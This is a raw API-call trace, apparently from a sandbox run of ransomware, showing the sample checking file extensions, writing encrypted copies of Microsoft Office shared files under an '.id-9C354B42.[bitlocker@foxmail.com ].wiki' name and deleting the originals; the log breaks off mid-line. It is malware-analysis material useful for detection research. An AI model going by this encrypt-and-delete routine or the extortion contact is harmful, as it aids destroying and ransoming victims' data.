[0193.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.994] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll")) returned 1 [0193.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0193.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0193.994] lstrlenW (lpString=".doc") returned 4 [0193.994] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0193.994] lstrlenW (lpString=".docx") returned 5 [0193.994] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0193.994] lstrlenW (lpString=".pdf") returned 4 [0193.994] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0193.994] lstrlenW (lpString=".xls") returned 4 [0193.994] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0193.994] lstrlenW (lpString=".xlsx") returned 5 [0193.994] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0193.994] lstrlenW (lpString=".ppt") returned 4 [0193.994] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0193.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0193.994] lstrlenW (lpString=".zip") returned 4 [0193.994] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.307] lstrlenW (lpString=".rar") returned 4 [0194.307] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.307] lstrlenW (lpString=".bz2") returned 4 [0194.307] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.307] lstrlenW (lpString=".7z") returned 3 [0194.307] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0194.307] lstrlenW (lpString=".dbf") returned 4 [0194.307] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0194.307] lstrlenW (lpString=".1cd") returned 4 [0194.307] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0194.307] lstrlenW (lpString=".jpg") returned 4 [0194.307] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0194.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0194.307] lstrlenW (lpString=".doc") returned 4 [0194.307] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.307] lstrlenW (lpString=".docx") returned 5 [0194.307] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0194.307] lstrlenW (lpString=".pdf") returned 4 [0194.307] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.308] lstrlenW (lpString=".xls") returned 4 [0194.308] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.308] lstrlenW (lpString=".xlsx") returned 5 [0194.308] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0194.308] lstrlenW (lpString=".ppt") returned 4 [0194.308] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0194.308] lstrlenW (lpString=".zip") returned 4 [0194.308] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.308] lstrlenW (lpString=".rar") returned 4 [0194.308] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.308] lstrlenW (lpString=".bz2") returned 4 [0194.308] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.308] lstrlenW (lpString=".7z") returned 3 [0194.308] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0194.308] lstrlenW (lpString=".dbf") returned 4 [0194.308] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0194.308] lstrlenW (lpString=".1cd") returned 4 [0194.308] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0194.308] lstrlenW (lpString=".jpg") returned 4 [0194.308] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.308] lstrcmpiW (lpString1=".LEX", lpString2=".wiki") returned -1 [0194.308] lstrlenW (lpString="MSWDS_ES.LEX") returned 12 [0194.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.309] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=395651) returned 1 [0194.309] CloseHandle (hObject=0x218) returned 1 [0194.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex")) returned 0x20 [0194.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.309] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.309] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0194.310] GetLastError () returned 0x0 [0194.310] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x60983, lpOverlapped=0x0) returned 1 [0194.320] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x60990, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x60990, lpOverlapped=0x0) returned 1 [0194.326] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.326] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.327] SetEndOfFile (hFile=0x1d0) returned 1 [0194.327] CloseHandle (hObject=0x1d0) returned 1 [0194.327] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.327] SetEndOfFile (hFile=0x218) returned 1 [0194.330] CloseHandle (hObject=0x218) returned 1 [0194.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.330] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex")) returned 1 [0194.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0194.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0194.331] lstrlenW (lpString=".doc") returned 4 [0194.331] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0194.331] lstrlenW (lpString=".docx") returned 5 [0194.331] lstrcmpiW (lpString1=".docx", lpString2="S.LEX") returned -1 [0194.331] lstrlenW (lpString=".pdf") returned 4 [0194.331] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0194.331] lstrlenW (lpString=".xls") returned 4 [0194.331] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0194.331] lstrlenW (lpString=".xlsx") returned 5 [0194.331] lstrcmpiW (lpString1=".xlsx", lpString2="S.LEX") returned -1 [0194.331] lstrlenW (lpString=".ppt") returned 4 [0194.331] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0194.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0194.331] lstrlenW (lpString=".zip") returned 4 [0194.331] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0194.331] lstrlenW (lpString=".rar") returned 4 [0194.331] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0194.331] lstrlenW (lpString=".bz2") returned 4 [0194.331] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0194.331] lstrlenW (lpString=".7z") returned 3 [0194.331] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0194.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0194.331] lstrlenW (lpString=".dbf") returned 4 [0194.331] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0194.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0194.331] lstrlenW (lpString=".1cd") returned 4 [0194.332] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0194.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0194.332] lstrlenW (lpString=".jpg") returned 4 [0194.332] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0194.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0194.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0194.332] lstrlenW (lpString=".doc") returned 4 [0194.332] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0194.332] lstrlenW (lpString=".docx") returned 5 [0194.332] lstrcmpiW (lpString1=".docx", lpString2="S.LEX") returned -1 [0194.332] lstrlenW (lpString=".pdf") returned 4 [0194.332] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0194.332] lstrlenW (lpString=".xls") returned 4 [0194.332] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0194.332] lstrlenW (lpString=".xlsx") returned 5 [0194.332] lstrcmpiW (lpString1=".xlsx", lpString2="S.LEX") returned -1 [0194.332] lstrlenW (lpString=".ppt") returned 4 [0194.332] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0194.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0194.332] lstrlenW (lpString=".zip") returned 4 [0194.332] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0194.332] lstrlenW (lpString=".rar") returned 4 [0194.332] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0194.332] lstrlenW (lpString=".bz2") returned 4 [0194.332] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0194.332] lstrlenW (lpString=".7z") returned 3 [0194.332] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0194.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0194.332] lstrlenW (lpString=".dbf") returned 4 [0194.332] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0194.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0194.332] lstrlenW (lpString=".1cd") returned 4 [0194.332] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0194.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0194.333] lstrlenW (lpString=".jpg") returned 4 [0194.333] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0194.333] lstrcmpiW (lpString1=".LEX", lpString2=".wiki") returned -1 [0194.333] lstrlenW (lpString="MSWDS_FR.LEX") returned 12 [0194.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.334] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=295663) returned 1 [0194.334] CloseHandle (hObject=0x218) returned 1 [0194.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex")) returned 0x20 [0194.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.334] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.335] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0194.335] GetLastError () returned 0x0 [0194.335] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x482ef, lpOverlapped=0x0) returned 1 [0194.566] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x482f0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x482f0, lpOverlapped=0x0) returned 1 [0194.612] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.612] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.612] SetEndOfFile (hFile=0x1d0) returned 1 [0194.612] CloseHandle (hObject=0x1d0) returned 1 [0194.612] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.612] SetEndOfFile (hFile=0x218) returned 1 [0194.615] CloseHandle (hObject=0x218) returned 1 [0194.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.615] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex")) returned 1 [0194.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0194.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0194.615] lstrlenW (lpString=".doc") returned 4 [0194.615] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0194.615] lstrlenW (lpString=".docx") returned 5 [0194.615] lstrcmpiW (lpString1=".docx", lpString2="R.LEX") returned -1 [0194.615] lstrlenW (lpString=".pdf") returned 4 [0194.615] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0194.615] lstrlenW (lpString=".xls") returned 4 [0194.616] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0194.616] lstrlenW (lpString=".xlsx") returned 5 [0194.616] lstrcmpiW (lpString1=".xlsx", lpString2="R.LEX") returned -1 [0194.616] lstrlenW (lpString=".ppt") returned 4 [0194.616] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0194.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0194.616] lstrlenW (lpString=".zip") returned 4 [0194.616] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0194.616] lstrlenW (lpString=".rar") returned 4 [0194.616] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0194.616] lstrlenW (lpString=".bz2") returned 4 [0194.616] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0194.616] lstrlenW (lpString=".7z") returned 3 [0194.616] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0194.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0194.616] lstrlenW (lpString=".dbf") returned 4 [0194.616] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0194.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0194.616] lstrlenW (lpString=".1cd") returned 4 [0194.616] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0194.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0194.616] lstrlenW (lpString=".jpg") returned 4 [0194.616] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0194.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0194.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0194.616] lstrlenW (lpString=".doc") returned 4 [0194.616] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0194.616] lstrlenW (lpString=".docx") returned 5 [0194.616] lstrcmpiW (lpString1=".docx", lpString2="R.LEX") returned -1 [0194.616] lstrlenW (lpString=".pdf") returned 4 [0194.616] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0194.617] lstrlenW (lpString=".xls") returned 4 [0194.617] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0194.617] lstrlenW (lpString=".xlsx") returned 5 [0194.617] lstrcmpiW (lpString1=".xlsx", lpString2="R.LEX") returned -1 [0194.617] lstrlenW (lpString=".ppt") returned 4 [0194.617] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0194.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0194.617] lstrlenW (lpString=".zip") returned 4 [0194.617] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0194.617] lstrlenW (lpString=".rar") returned 4 [0194.617] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0194.617] lstrlenW (lpString=".bz2") returned 4 [0194.617] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0194.617] lstrlenW (lpString=".7z") returned 3 [0194.617] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0194.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0194.617] lstrlenW (lpString=".dbf") returned 4 [0194.617] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0194.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0194.617] lstrlenW (lpString=".1cd") returned 4 [0194.617] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0194.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0194.617] lstrlenW (lpString=".jpg") returned 4 [0194.617] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0194.617] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0194.617] lstrlenW (lpString="FDATE.DLL") returned 9 [0194.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.618] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=98176) returned 1 [0194.618] CloseHandle (hObject=0x218) returned 1 [0194.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll")) returned 0x20 [0194.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.618] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.618] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0194.619] GetLastError () returned 0x0 [0194.619] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x17f80, lpOverlapped=0x0) returned 1 [0194.643] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x17f90, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x17f90, lpOverlapped=0x0) returned 1 [0194.645] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.645] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0194.646] SetEndOfFile (hFile=0x1d0) returned 1 [0194.646] CloseHandle (hObject=0x1d0) returned 1 [0194.646] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.646] SetEndOfFile (hFile=0x218) returned 1 [0194.647] CloseHandle (hObject=0x218) returned 1 [0194.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.647] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll")) returned 1 [0194.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 